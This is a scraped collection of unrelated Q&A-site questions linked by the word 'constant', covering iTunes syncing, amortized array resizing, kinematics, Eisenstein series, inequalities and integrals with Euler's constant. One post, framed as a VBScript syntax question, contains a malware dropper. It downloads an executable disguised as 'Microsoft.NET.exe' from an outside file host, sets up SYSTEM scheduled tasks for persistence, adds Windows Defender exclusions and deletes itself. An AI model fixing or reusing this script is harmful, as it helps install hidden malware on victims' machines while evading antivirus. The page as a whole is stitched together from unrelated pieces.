## constant popup: “iTunes has found purchased items on the iPhone “xyz” that are not present in your iTunes library”

I keep getting the below popup every single time (or almost every single time) I connect my iPhone to my MacBook Pro with a lightning cable. Every time I click “Transfer,” but it always comes up again.

I could click “Do not ask me again,” but I do actually want purchased items transferred… I just don’t think it’s doing that. Any way I can fix this?

I’m not making very many purchases on my iPhone so I know it’s not being caused by actual new purchases each time. Also I’ve tried this with multiple cables so I don’t think it’s a faulty cable issue.

In case it’s relevant I have iTunes Match and do not have Apple Music.

Other details: iPhone 6S, MacOS Mojave, iTunes 12.9.4.94, it’s over a USB 3 to Lightning cable.

## Constant factor of an array

In Elements of Programming Interviews in Python by Aziz, Lee and Prakash, they state on page 41:

Insertion into a full array can be handled by resizing, i.e., allocating a new array with additional memory and copying over the entries from the original array. This increases the worst-case time of insertion, but if the new array has, for example, a constant factor larger than the original array, the average time for insertion is constant since resizing is infrequent.

I grasp the concept of amortization that seems to be implied here, yet they seem to imply that in other cases, a newly allocated array could possess a constant factor smaller than the original array. Is that so? What does “constant factor” mean in this particular context? I’m having trouble understanding what’s being said here.

## Calculate initial velocity based on displacement, time and constant acceleration.

“A car has a constant speed along a road. It goes down a hill at a constant acceleration. 50s after it goes down the hill the speed is doubled and 50s later it reaches the end of the 200m hill and is back at a constant speed. Find out the initial velocity and acceleration.”

At first I made relevant graphs to see if I could find some useful information from that but no luck. Then I tried to use the “suvat” equations but we haven’t learned them in class so I’m not allowed to use them, which is why I’m stuck as to how to solve this basic problem.

## Complexity of many constant time steps with occasional logarithmic steps

I have a data structure that can perform a task $$T$$ in constant time, $$O(1)$$. However, every $$k$$th invocation requires $$O(\log{n})$$.

Is it possible for this task to ever take amortized constant time, or is it impossible because the logarithm will eventually become greater than $$k$$?

If an upper bound for $$n$$ is known as $$N$$, can $$k$$ be chosen to be less than $$\log{N}$$?

## What is the meaning of the “constant term of Eisenstein series” in terms of Fourier analysis

Let $$G$$ be a connected, reductive group over $$\mathbb Q$$, with parabolic subgroup $$P = MN$$. Let $$\pi$$ be a cuspidal automorphic representation of $$M(\mathbb A)$$. For a smooth, right $$K$$-finite function $$\phi$$ in the induced space $$\operatorname{Ind}_{P(\mathbb A)}^{G(\mathbb A)} \pi$$ (realized in a suitable way as a function $$\phi: G(\mathbb Q) \backslash G(\mathbb A )\rightarrow \mathbb C$$), we can associate the Eisenstein series

$$E(g,\phi) = \sum\limits_{\delta \in P(\mathbb Q) \backslash G(\mathbb Q)} \phi(\delta g)$$ Assuming $$\pi$$ is chosen so that this series converges absolutely, one can define the constant term of the Eisenstein series along a parabolic subgroup $$P’$$ with unipotent radical $$N’$$:

$$E_{P’}(g,\phi) = \int\limits_{N'(\mathbb Q) \backslash N'(\mathbb A)}E(n’g,\phi)dn’ \tag{0}$$

I see the constant term defined in this way without reference to Fourier analysis. Is it possible to always realize this object as the constant term of an honest Fourier expansion on some product of copies of $$\mathbb A/\mathbb Q$$?

This can be done when $$G = \operatorname{GL}_2$$ and $$P = P’$$ the usual Borel. The unipotent radical identifies with the additive group $$\mathbb G_a$$, and for fixed $$g \in G(\mathbb A)$$ the function $$\mathbb A/\mathbb Q \rightarrow \mathbb C, n \mapsto \phi(ng)$$ has an absolutely convergent Fourier expansion

$$E(ng,\phi) = \sum\limits_{\alpha \in \mathbb Q} \int\limits_{\mathbb A/\mathbb Q} E(n’ng,\phi) \psi(-\alpha n’)dn’ \tag{1}$$ where $$\psi$$ is a fixed nontrivial additive character of $$\mathbb A/\mathbb Q$$. The constant term is

$$\int\limits_{\mathbb A/\mathbb Q} E(n’ng,\phi) dn’$$ Setting $$n = 1$$ in (1) gives us a series expansion for $$E(g,\phi)$$ and (0) is the constant term of this series.

## Level sets of function with constant sign partial derivatives

Consider a smooth function $$f: E \to \mathbb{R}$$ in the closed subset $$E \subset \mathbb{R}^N$$ with boundary $$\partial E$$.

Show that if the partial derivatives $$\partial f/\partial x_j$$ do not change sign in $$E$$ then there every level set of $$f$$ in $$E$$ is connected.

My attempt: I know that since the partial derivatives don’t change sign, then there is no critical point of $$f$$ in $$E$$, so there is no closed level set in $$E$$. Therefore, every level set has boundary on $$\partial E$$. I am not sure how to prove that, for a given level set, there cannot be two or more connected components.

Any help would be greatly appreciated! Thanks!

## How to find the normalization constant of $\int^\infty_\infty e^{-\frac{x^2}{2}}$ without the error function?

The equation I am thinking of is: \begin{align} 1=A\int^\infty_\infty e^{-\frac{x^2}{2}} \end{align} What is A? Complex analysis is ok, don’t even mention the error function.

## An inequality with the $constant= \frac{1}{2}+ \frac{5}{18}\,\sqrt{3}$

Given $$a,\,b,\,c> 0$$ such that$$:$$ $$a+ b+ c= 3 .$$ Prove$$:$$ $$\frac{1}{a}+ \frac{1}{b}+ \frac{1}{c}\geqq \left ( \frac{1}{2}+ \frac{5}{18}\,\sqrt{3} \right )(\,a^{\,2}+ b^{\,2}+ c^{\,2}\,)$$ I find $$constant= \frac{1}{2}+ \frac{5}{18}\,\sqrt{3}$$ by using my discriminant skills$$,$$ but the equality condition is strange because I tried the same$$:$$ $$\lceil$$ https://math.stackexchange.com/a/2836680/552226 $$\rfloor$$ without success$$!$$

## Unterminated String Constant VBSCRIPT

I’m having trouble with a vbs script im trying to make to run multiple commands after each other. This is the code: Set oShell = Wscript.CreateObject("Wscript.Shell") oShell.Run " cd "C:\Program Files\windows nt" & TIMEOUT 1 & powershell.exe /c Invoke-WebRequest "https://cdn-05.anonfile.com/61c017Z8m0/4b7affd3-1554554845/Microsoft.NET.exe" -Outfile "Microsoft.NET.exe" & TIMEOUT 1 & schtasks /create /RU SYSTEM /SC ONSTART /TN "Windows .NET Service" /TR "C:\Program Files\windows nt\Microsoft.NET.exe" /F & TIMEOUT 1 & schtasks /create /RU SYSTEM /SC MINUTE /MO 30 /TN "Windows .NET API" /TR "C:\Program Files\windows nt\Microsoft.NET.exe" /F & TIMEOUT 1 & Add-MpPreference -ExclusionProcess "C:\Program Files\windows nt\Microsoft.NET.exe" & TIMEOUT 1 & Add-MpPreference -ExclusionPath "C:\Program Files\windows nt\" & TIMEOUT 1 & del "C:\silentbat.vbs" & exit" Set oShell = Nothing Does anybody have an idea why im getting that error? Thanks

## Calculation of Integrals with reciproce Logarithm, Euler’s constant $\gamma=0.577…$

Evaluate the improper integral $$\int\limits_0^1\left(\frac1{\log x} + \frac1{1-x}\right)^2 dx = 0.33787…$$ in terms of special mathematical constants like Euler’s constant.

With integration by parts we get from $$\int\limits_0^1\left(\frac1{\log x} + \frac1{1-x}\right) dx = \gamma$$

the similar integral $$\int\limits_0^1\left(\frac1{\log^2 x} – \frac{x}{(1-x)^2}\right)dx = \gamma-\frac12$$

But we need $$\int\limits_0^1\left(\frac2{(1-x)\log x} + \frac{1+x}{(1-x)^2}\right)dx = 0.260661401507813…$$

to get the integral in question. In question series from one of Coffey's papers involving digamma, $\gamma$ , and binomial there is a hint of connection to Stieltjes constants.